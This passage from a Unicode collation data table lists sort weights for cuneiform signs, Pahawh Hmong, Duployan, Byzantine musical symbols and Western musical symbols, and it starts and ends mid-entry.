SIGN ELAMITE ONE THIRD -12466 ; [*1BEC.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE TWO THIRDS -12467 ; [*1BED.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FORTY -12468 ; [*1BEE.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FIFTY -12470 ; [*0300.0020.0002] # CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER -12471 ; [*0301.0020.0002] # CUNEIFORM PUNCTUATION SIGN VERTICAL COLON -12472 ; [*0302.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL COLON -12473 ; [*0303.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL TRICOLON -12474 ; [*0304.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON -16A6E ; [*02C0.0020.0002] # MRO DANDA -16A6F ; [*02C1.0020.0002] # MRO DOUBLE DANDA -16AF5 ; [*0288.0020.0002] # BASSA VAH FULL STOP -16B37 ; [*0477.0020.0002] # PAHAWH HMONG SIGN VOS THOM -16B38 ; [*0478.0020.0002] # PAHAWH HMONG SIGN VOS TSHAB CEEB -16B39 ; [*0479.0020.0002] # PAHAWH HMONG SIGN CIM CHEEM -16B3A ; [*047A.0020.0002] # PAHAWH HMONG SIGN VOS THIAB -16B3B ; [*047B.0020.0002] # PAHAWH HMONG SIGN VOS FEEM -16B3C ; [*0FD1.0020.0002] # PAHAWH HMONG SIGN XYEEM NTXIV -16B3D ; [*0FD2.0020.0002] # PAHAWH HMONG SIGN XYEEM RHO -16B3E ; [*0FD3.0020.0002] # PAHAWH HMONG SIGN XYEEM TOV -16B3F ; [*0FD4.0020.0002] # PAHAWH HMONG SIGN XYEEM FAIB -16B44 ; [*047C.0020.0002] # PAHAWH HMONG SIGN XAUS -16B45 ; [*0FD5.0020.0002] # PAHAWH HMONG SIGN CIM TSOV ROG -16B5B ; [*1BA0.0020.0002] # PAHAWH HMONG NUMBER TENS -16B5C ; [*1BA1.0020.0002] # PAHAWH HMONG NUMBER HUNDREDS -16B5D ; [*1BA2.0020.0002] # PAHAWH HMONG NUMBER TEN THOUSANDS -16B5E ; [*1BA3.0020.0002] # PAHAWH HMONG NUMBER MILLIONS -16B5F ; [*1BA4.0020.0002] # PAHAWH HMONG NUMBER HUNDRED MILLIONS -16B60 ; [*1BA5.0020.0002] # PAHAWH HMONG NUMBER TEN BILLIONS -16B61 ; [*1BA6.0020.0002] # PAHAWH HMONG NUMBER TRILLIONS -1BC9C ; [*11C6.0020.0002] # DUPLOYAN SIGN O WITH CROSS -1BC9F ; [*0289.0020.0002] # DUPLOYAN PUNCTUATION CHINOOK FULL STOP -1D000 ; [*0FD6.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILI -1D001 ; [*0FD7.0020.0002] # BYZANTINE MUSICAL SYMBOL DASEIA -1D002 ; [*0FD8.0020.0002] # BYZANTINE MUSICAL SYMBOL PERISPOMENI -1D003 ; [*0FD9.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA EKFONITIKON -1D004 ; [*0FDA.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA DIPLI -1D005 ; [*0FDB.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA EKFONITIKON -1D006 ; [*0FDC.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA DIPLI -1D007 ; [*0FDD.0020.0002] # BYZANTINE MUSICAL SYMBOL KATHISTI -1D008 ; [*0FDE.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMATIKI -1D009 ; [*0FDF.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI -1D00A ; [*0FE0.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS -1D00B ; [*0FE1.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS DIPLI -1D00C ; [*0FE2.0020.0002] # BYZANTINE MUSICAL SYMBOL KREMASTI -1D00D ; [*0FE3.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EKFONITIKON -1D00E ; [*0FE4.0020.0002] # BYZANTINE MUSICAL SYMBOL EXO EKFONITIKON -1D00F ; [*0FE5.0020.0002] # BYZANTINE MUSICAL SYMBOL TELEIA -1D010 ; [*0FE6.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA -1D011 ; [*0FE7.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS -1D012 ; [*0FE8.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS DIPLI -1D013 ; [*0FE9.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNEVMA -1D014 ; [*0FEA.0020.0002] # BYZANTINE MUSICAL SYMBOL THITA -1D015 ; [*0FEB.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON ARCHAION -1D016 ; [*0FEC.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON ARCHAION -1D017 ; [*0FED.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILON -1D018 ; [*0FEE.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILON -1D019 ; [*0FEF.0020.0002] # BYZANTINE MUSICAL SYMBOL VATHY -1D01A ; [*0FF0.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON ARCHAION -1D01B ; [*0FF1.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA ARCHAION -1D01C ; [*0FF2.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA ARCHAION -1D01D ; [*0FF3.0020.0002] # BYZANTINE MUSICAL SYMBOL SAXIMATA -1D01E ; [*0FF4.0020.0002] # BYZANTINE MUSICAL SYMBOL PARICHON -1D01F ; [*0FF5.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS APODEXIA -1D020 ; [*0FF6.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIAI ARCHAION -1D021 ; [*0FF7.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIAI ARCHAION -1D022 ; [*0FF8.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA ARCHAION -1D023 ; [*0FF9.0020.0002] # BYZANTINE MUSICAL SYMBOL APOTHEMA -1D024 ; [*0FFA.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA -1D025 ; [*0FFB.0020.0002] # BYZANTINE MUSICAL SYMBOL REVMA -1D026 ; [*0FFC.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA ARCHAION -1D027 ; [*0FFD.0020.0002] # BYZANTINE MUSICAL SYMBOL TINAGMA -1D028 ; [*0FFE.0020.0002] # BYZANTINE MUSICAL SYMBOL ANATRICHISMA -1D029 ; [*0FFF.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA -1D02A ; [*1000.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA ARCHAION -1D02B ; [*1001.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA META STAVROU -1D02C ; [*1002.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA ARCHAION -1D02D ; [*1003.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA -1D02E ; [*1004.0020.0002] # BYZANTINE MUSICAL SYMBOL LEMOI -1D02F ; [*1005.0020.0002] # BYZANTINE MUSICAL SYMBOL DYO -1D030 ; [*1006.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIA -1D031 ; [*1007.0020.0002] # BYZANTINE MUSICAL SYMBOL TESSERA -1D032 ; [*1008.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMATA -1D033 ; [*1009.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EXO NEO -1D034 ; [*100A.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION -1D035 ; [*100B.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORA -1D036 ; [*100C.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ARCHAION -1D037 ; [*100D.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVA TROMIKON -1D038 ; [*100E.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON -1D039 ; [*100F.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON -1D03A ; [*1010.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA -1D03B ; [*1011.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA ARCHAION -1D03C ; [*1012.0020.0002] # BYZANTINE MUSICAL SYMBOL RAPISMA -1D03D ; [*1013.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA ARCHAION -1D03E ; [*1014.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI ARCHAION -1D03F ; [*1015.0020.0002] # BYZANTINE MUSICAL SYMBOL ICHADIN -1D040 ; [*1016.0020.0002] # BYZANTINE MUSICAL SYMBOL NANA -1D041 ; [*1017.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASMA -1D042 ; [*1018.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA ALLO -1D043 ; [*1019.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ALLO -1D044 ; [*101A.0020.0002] # BYZANTINE MUSICAL SYMBOL STRAGGISMATA -1D045 ; [*101B.0020.0002] # BYZANTINE MUSICAL SYMBOL GRONTHISMATA -1D046 ; [*101C.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON NEO -1D047 ; [*101D.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON NEO -1D048 ; [*101E.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA NEO -1D049 ; [*101F.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTI -1D04A ; [*1020.0020.0002] # BYZANTINE MUSICAL SYMBOL KOUFISMA -1D04B ; [*1021.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTOKOUFISMA -1D04C ; [*1022.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOKOUFISMA -1D04D ; [*1023.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON NEO -1D04E ; [*1024.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO ANO -1D04F ; [*1025.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO ANO -1D050 ; [*1026.0020.0002] # BYZANTINE MUSICAL SYMBOL YPSILI -1D051 ; [*1027.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS NEO -1D052 ; [*1028.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI SYNDESMOS NEO -1D053 ; [*1029.0020.0002] # BYZANTINE MUSICAL SYMBOL YPORROI -1D054 ; [*102A.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOYPORROON -1D055 ; [*102B.0020.0002] # BYZANTINE MUSICAL SYMBOL ELAFRON -1D056 ; [*102C.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILI -1D057 ; [*102D.0020.0002] # BYZANTINE MUSICAL SYMBOL MIKRON ISON -1D058 ; [*102E.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA NEO -1D059 ; [*102F.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA NEO -1D05A ; [*1030.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON NEO -1D05B ; [*1031.0020.0002] # BYZANTINE MUSICAL SYMBOL OMALON -1D05C ; [*1032.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOMA -1D05D ; [*1033.0020.0002] # BYZANTINE MUSICAL SYMBOL LYGISMA -1D05E ; [*1034.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI NEO -1D05F ; [*1035.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA NEO -1D060 ; [*1036.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON PARAKALESMA -1D061 ; [*1037.0020.0002] # BYZANTINE MUSICAL SYMBOL KYLISMA -1D062 ; [*1038.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOKYLISMA -1D063 ; [*1039.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON NEO -1D064 ; [*103A.0020.0002] # BYZANTINE MUSICAL SYMBOL EKSTREPTON -1D065 ; [*103B.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA NEO -1D066 ; [*103C.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMA -1D067 ; [*103D.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA NEO -1D068 ; [*103E.0020.0002] # BYZANTINE MUSICAL SYMBOL EPEGERMA -1D069 ; [*103F.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA NEO -1D06A ; [*1040.0020.0002] # BYZANTINE MUSICAL SYMBOL XIRON KLASMA -1D06B ; [*1041.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPSIFISTON -1D06C ; [*1042.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOLYGISMA -1D06D ; [*1043.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOLYGISMA -1D06E ; [*1044.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPARAKALESMA -1D06F ; [*1045.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOPARAKALESMA -1D070 ; [*1046.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOSYNAGMA -1D071 ; [*1047.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOSYNAGMA -1D072 ; [*1048.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGOSYNTHETON -1D073 ; [*1049.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGOSYNTHETON -1D074 ; [*104A.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON ARGOSYNTHETON -1D075 ; [*104B.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA NEO -1D076 ; [*104C.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS ESO -1D077 ; [*104D.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS EXO -1D078 ; [*104E.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA APLOUN -1D079 ; [*104F.0020.0002] # BYZANTINE MUSICAL SYMBOL THES KAI APOTHES -1D07A ; [*1050.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVASMA -1D07B ; [*1051.0020.0002] # BYZANTINE MUSICAL SYMBOL ENDOFONON -1D07C ; [*1052.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN KATO -1D07D ; [*1053.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN ANO -1D07E ; [*1054.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS -1D07F ; [*1055.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA ANO -1D080 ; [*1056.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI ARCHAION -1D081 ; [*1057.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ARCHAION -1D082 ; [*1058.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ALLO -1D083 ; [*1059.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA NEO -1D084 ; [*105A.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA NEO -1D085 ; [*105B.0020.0002] # BYZANTINE MUSICAL SYMBOL APLI -1D086 ; [*105C.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI -1D087 ; [*105D.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIPLI -1D088 ; [*105E.0020.0002] # BYZANTINE MUSICAL SYMBOL TETRAPLI -1D089 ; [*105F.0020.0002] # BYZANTINE MUSICAL SYMBOL KORONIS -1D08A ; [*1060.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA ENOS CHRONOU -1D08B ; [*1061.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA DYO CHRONON -1D08C ; [*1062.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TRION CHRONON -1D08D ; [*1063.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TESSARON CHRONON -1D08E ; [*1064.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA IMISEOS CHRONOU -1D08F ; [*1065.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO ANO -1D090 ; [*1066.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON ARISTERA -1D091 ; [*1067.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON DEXIA -1D092 ; [*1068.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON -1D093 ; [*1069.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA KATO -1D094 ; [*106A.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA ANO -1D095 ; [*106B.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON DEXIA -1D096 ; [*106C.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIGORGON -1D097 ; [*106D.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGON -1D098 ; [*106E.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIDIARGON -1D099 ; [*106F.0020.0002] # BYZANTINE MUSICAL SYMBOL DIARGON -1D09A ; [*1070.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI ARGI -1D09B ; [*1071.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGOTERI -1D09C ; [*1072.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGI -1D09D ; [*1073.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI METRIA -1D09E ; [*1074.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI MESI -1D09F ; [*1075.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGI -1D0A0 ; [*1076.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGOTERI -1D0A1 ; [*1077.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI GORGI -1D0A2 ; [*1078.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOS ICHOS -1D0A3 ; [*1079.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI PROTOS ICHOS -1D0A4 ; [*107A.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA DEYTEROS ICHOS -1D0A5 ; [*107B.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI DEYTEROS ICHOS -1D0A6 ; [*107C.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRITOS ICHOS -1D0A7 ; [*107D.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRIFONIAS -1D0A8 ; [*107E.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS ICHOS -1D0A9 ; [*107F.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS LEGETOS ICHOS -1D0AA ; [*1080.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA LEGETOS ICHOS -1D0AB ; [*1081.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS ICHOS -1D0AC ; [*1082.0020.0002] # BYZANTINE MUSICAL SYMBOL ISAKIA TELOUS ICHIMATOS -1D0AD ; [*1083.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI TELOUS ICHIMATOS -1D0AE ; [*1084.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS TETRAFONIAS -1D0AF ; [*1085.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS MONOFONIAS -1D0B0 ; [*1086.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS DIFONIAS -1D0B1 ; [*1087.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA VARYS ICHOS -1D0B2 ; [*1088.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOVARYS ICHOS -1D0B3 ; [*1089.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS TETARTOS ICHOS -1D0B4 ; [*108A.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N APLOUN -1D0B5 ; [*108B.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N DIPLOUN -1D0B6 ; [*108C.0020.0002] # BYZANTINE MUSICAL SYMBOL ENARXIS KAI FTHORA VOU -1D0B7 ; [*108D.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFONON -1D0B8 ; [*108E.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORON -1D0B9 ; [*108F.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION DEYTEROU ICHOU -1D0BA ; [*1090.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI PA -1D0BB ; [*1091.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NANA -1D0BC ; [*1092.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NAOS ICHOS -1D0BD ; [*1093.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI DI -1D0BE ; [*1094.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON DIATONON DI -1D0BF ; [*1095.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI KE -1D0C0 ; [*1096.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI ZO -1D0C1 ; [*1097.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI KATO -1D0C2 ; [*1098.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI ANO -1D0C3 ; [*1099.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA DIFONIAS -1D0C4 ; [*109A.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA MONOFONIAS -1D0C5 ; [*109B.0020.0002] # BYZANTINE MUSICAL SYMBOL FHTORA SKLIRON CHROMA VASIS -1D0C6 ; [*109C.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON CHROMA SYNAFI -1D0C7 ; [*109D.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NENANO -1D0C8 ; [*109E.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA ZYGOS -1D0C9 ; [*109F.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA KLITON -1D0CA ; [*10A0.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA SPATHI -1D0CB ; [*10A1.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA I YFESIS TETARTIMORION -1D0CC ; [*10A2.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ENARMONIOS ANTIFONIA -1D0CD ; [*10A3.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRITIMORION -1D0CE ; [*10A4.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRITIMORION -1D0CF ; [*10A5.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TETARTIMORION -1D0D0 ; [*10A6.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS APLI DYO DODEKATA -1D0D1 ; [*10A7.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS MONOGRAMMOS TESSERA DODEKATA -1D0D2 ; [*10A8.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS DIGRAMMOS EX DODEKATA -1D0D3 ; [*10A9.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRIGRAMMOS OKTO DODEKATA -1D0D4 ; [*10AA.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS APLI DYO DODEKATA -1D0D5 ; [*10AB.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS MONOGRAMMOS TESSERA DODEKATA -1D0D6 ; [*10AC.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS DIGRAMMOS EX DODEKATA -1D0D7 ; [*10AD.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRIGRAMMOS OKTO DODEKATA -1D0D8 ; [*10AE.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI DIESIS -1D0D9 ; [*10AF.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI YFESIS -1D0DA ; [*10B0.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MIKRI -1D0DB ; [*10B1.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MEGALI -1D0DC ; [*10B2.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI DIPLI -1D0DD ; [*10B3.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI THESEOS -1D0DE ; [*10B4.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS -1D0DF ; [*10B5.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS DISIMOU -1D0E0 ; [*10B6.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TRISIMOU -1D0E1 ; [*10B7.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TETRASIMOU -1D0E2 ; [*10B8.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS -1D0E3 ; [*10B9.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS DISIMOU -1D0E4 ; [*10BA.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TRISIMOU -1D0E5 ; [*10BB.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TETRASIMOU -1D0E6 ; [*10BC.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGRAMMA GG -1D0E7 ; [*10BD.0020.0002] # BYZANTINE MUSICAL SYMBOL DIFTOGGOS OU -1D0E8 ; [*10BE.0020.0002] # BYZANTINE MUSICAL SYMBOL STIGMA -1D0E9 ; [*10BF.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO PA -1D0EA ; [*10C0.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO VOU -1D0EB ; [*10C1.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO GA -1D0EC ; [*10C2.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO DI -1D0ED ; [*10C3.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO KE -1D0EE ; [*10C4.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO ZO -1D0EF ; [*10C5.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO NI -1D0F0 ; [*10C6.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO MESO -1D0F1 ; [*10C7.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO MESO -1D0F2 ; [*10C8.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO KATO -1D0F3 ; [*10C9.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO KATO -1D0F4 ; [*10CA.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA KATO -1D0F5 ; [*10CB.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO KATO -1D100 ; [*10CC.0020.0002] # MUSICAL SYMBOL SINGLE BARLINE -1D101 ; [*10CD.0020.0002] # MUSICAL SYMBOL DOUBLE BARLINE -1D102 ; [*10CE.0020.0002] # MUSICAL SYMBOL FINAL BARLINE -1D103 ; [*10CF.0020.0002] # MUSICAL SYMBOL REVERSE FINAL BARLINE -1D104 ; [*10D0.0020.0002] # MUSICAL SYMBOL DASHED BARLINE -1D105 ; [*10D1.0020.0002] # MUSICAL SYMBOL SHORT BARLINE -1D106 ; [*10D2.0020.0002] # MUSICAL SYMBOL LEFT REPEAT SIGN -1D107 ; [*10D3.0020.0002] # MUSICAL SYMBOL RIGHT REPEAT SIGN -1D108 ; [*10D4.0020.0002] # MUSICAL SYMBOL REPEAT DOTS -1D109 ; [*10D5.0020.0002] # MUSICAL SYMBOL DAL SEGNO -1D10A ; [*10D6.0020.0002] # MUSICAL SYMBOL DA CAPO -1D10B ; [*10D7.0020.0002] # MUSICAL SYMBOL SEGNO -1D10C ; [*10D8.0020.0002] # MUSICAL SYMBOL CODA -1D10D ; [*10D9.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-1 -1D10E ; [*10DA.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-2 -1D10F ; [*10DB.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-3 -1D110 ; [*10DC.0020.0002] # MUSICAL SYMBOL FERMATA -1D111 ; [*10DD.0020.0002] # MUSICAL SYMBOL FERMATA BELOW -1D112 ; [*10DE.0020.0002] # MUSICAL SYMBOL BREATH MARK -1D113 ; [*10DF.0020.0002] # MUSICAL SYMBOL CAESURA -1D114 ; [*10E0.0020.0002] # MUSICAL SYMBOL BRACE -1D115 ; [*10E1.0020.0002] # MUSICAL SYMBOL BRACKET -1D116 ; [*10E2.0020.0002] # MUSICAL SYMBOL ONE-LINE STAFF -1D117 ; [*10E3.0020.0002] # MUSICAL SYMBOL TWO-LINE STAFF -1D118 ; [*10E4.0020.0002] # MUSICAL SYMBOL THREE-LINE STAFF -1D119 ; [*10E5.0020.0002] # MUSICAL SYMBOL FOUR-LINE STAFF -1D11A ; [*10E6.0020.0002] # MUSICAL SYMBOL FIVE-LINE STAFF -1D11B ; [*10E7.0020.0002] # MUSICAL SYMBOL SIX-LINE STAFF -1D11C ; 